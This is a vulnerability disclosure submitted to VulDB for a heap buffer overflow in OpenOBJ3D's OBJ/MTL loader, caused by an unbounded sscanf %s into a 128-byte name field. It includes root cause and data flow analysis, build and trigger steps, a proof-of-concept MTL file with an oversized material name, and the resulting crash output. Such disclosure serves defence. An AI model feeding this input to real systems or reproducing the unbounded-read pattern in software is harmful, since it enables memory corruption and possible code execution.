| 제목 | imamhs (Md Imam Hossain) OpenOBJ3D 7c155f9 (initial commit, 2020-06-07) Heap Buffer Overflow via Unbounded sscanf %s |
|---|
| 설명 | found by Simon Huang([email protected])
https://github.com/imamhs/OpenOBJ3D.git
The ooj_loadmesh() function in src/openobj3d.c (line 71) uses sscanf(scanline, "newmtl %s", mg.m[mg.slot].name) with an unbounded %s format specifier to read a material name from an MTL file into the OOJ_Material.name[128] buffer. The scanline[1024] buffer can hold strings far exceeding 128 bytes. An attacker providing a material name longer than 127 bytes causes a heap buffer overflow that overwrites the texture[128] and texture_id fields within the same struct, and further overflow corrupts heap metadata. A PoC using a 300-character material name successfully triggers heap corruption with “corrupted size vs. prev_size” abort.
Code Location
File: src/openobj3d.c
Line: 71
Function: ooj_loadmesh()
Vulnerable source code (openobj3d.c:65-71):
mg.m = (OOJ_Material *) realloc(mg.m, ((mg.slot + 1) * sizeof(OOJ_Material)));
// ...
memset(mg.m[mg.slot].name, '\0', 128);
sscanf(scanline, "newmtl %s", mg.m[mg.slot].name); // line 71: unbounded %s into name[128]
OOJ_Material struct (openobj3d.h:57-63):
struct ooj_material {
OOJ_Color ambient, diffuse, specular; // 36 bytes
char name[128]; // target buffer (overflow starts here)
char texture[128]; // overflow reaches here first
long texture_id; // then here
}; // sizeof = 304
Root Cause Analysis
1.sscanf uses the %s format specifier (no width limit) to read the material name from the MTL file into mg.m[mg.slot].name[128]
2.scanline[1024] can accommodate strings far exceeding 128 bytes
3.An attacker providing a material name > 127 bytes causes overflow of name[128]
4.Overflow bytes first overwrite the texture[128] field in the same struct
5.Further overflow overwrites the texture_id (long) field
6.Overflow past the struct boundary corrupts heap metadata (chunk headers)
7.glibc detects the heap metadata corruption → “corrupted size vs. prev_size” → abort
Data Flow Analysis
MTL file → scanline[1024] (via fgets)
↓
sscanf(scanline, "newmtl %s", mg.m[mg.slot].name)
↓
name[128] buffer (in heap-allocated OOJ_Material struct)
↓
Material name > 127 bytes: overflow past name[128]
↓
Overwrites texture[128] → texture_id (long) → heap metadata
↓
HEAP BUFFER OVERFLOW → glibc "corrupted size vs. prev_size" → abort
Taint source: Material name string in MTL file
Taint propagation: sscanf %s (unbounded) → name[128] buffer
Taint sink: Overwrite of texture[128], texture_id, and heap metadata
Exploitation Conditions
Attack Vector: Malicious MTL file — attacker provides a material name longer than 127 bytes
No authentication required: Simply loading an OBJ file that references the malicious MTL file triggers the vulnerability
No special privileges required: Any process that parses the OBJ/MTL files is affected
Maximum overflow: ~889 bytes (scanline[1024] - “newmtl” prefix - name[128] = ~889 bytes of overflow)
Exploitation potential: Heap metadata corruption → potential heap exploitation / code execution
Severity: High
Reproduction Steps
Environment:
git clone https://github.com/imamhs/OpenOBJ3D.git
cd OpenOBJ3D
Compile:
gcc -g -O0 -I src -o harness harness.c src/openobj3d.c
Trigger:
./harness poc3a_newmtl_overflow
# Uses poc3a_newmtl_overflow.mtl (300-char material name) + poc3a_newmtl_overflow.obj
# Expected: "corrupted size vs. prev_size" / Aborted (exit code 134)
PoC Script/Code
poc3a_newmtl_overflow.mtl (300-character material name):
newmtl XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Ka 1.0 1.0 1.0
Kd 1.0 1.0 1.0
Ks 0.0 0.0 0.0
poc3a_newmtl_overflow.obj:
v 0.0 0.0 0.0
v 1.0 0.0 0.0
v 0.0 1.0 0.0
vt 0.0 0.0
vt 1.0 0.0
vt 0.0 1.0
vn 0.0 0.0 1.0
vn 0.0 0.0 1.0
vn 0.0 0.0 1.0
usemtl mat1_NONE
f 1/1/1 2/2/2 3/3/3
Crash Verification Results
--- PoC 3a: newmtl sscanf %s overflow (300 chars) ---
corrupted size vs. prev_size
bash: line 1: 1084582 Aborted (core dumped) ./harness final_pocs/poc3a_newmtl_overflow 2>&1
Exit: 134
(glibc heap metadata corrupted by overflowed ‘X’ bytes, causing subsequent memory operations to detect heap inconsistency and abort)
Impact
Attack Vector: Malicious MTL file (referenced by an OBJ file)
Maximum Overflow: ~889 bytes (scanline capacity minus “newmtl” prefix minus name[128])
Impact: Heap metadata corruption → glibc “corrupted size vs. prev_size” → abort
Exploitation Potential: Heap metadata corruption can be further exploited for code execution
Severity: High |
|---|
| 사용자 | hl4x7eq28 (UID 89020) |
|---|
| 제출 | 2026. 11. 10. AM 09:35 (24 날 ago) |
|---|
| 모더레이션 | 2026. 12. 04. AM 09:51 (24 days later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 449634 [imamhs OpenOBJ3D 까지 f5a522c409428de7bf68844cf8951522e3d09485 OBJ MTL Loader src/openobj3d.c ooj_loadmesh 메모리 손상] |
|---|
| 포인트들 | 17 |
|---|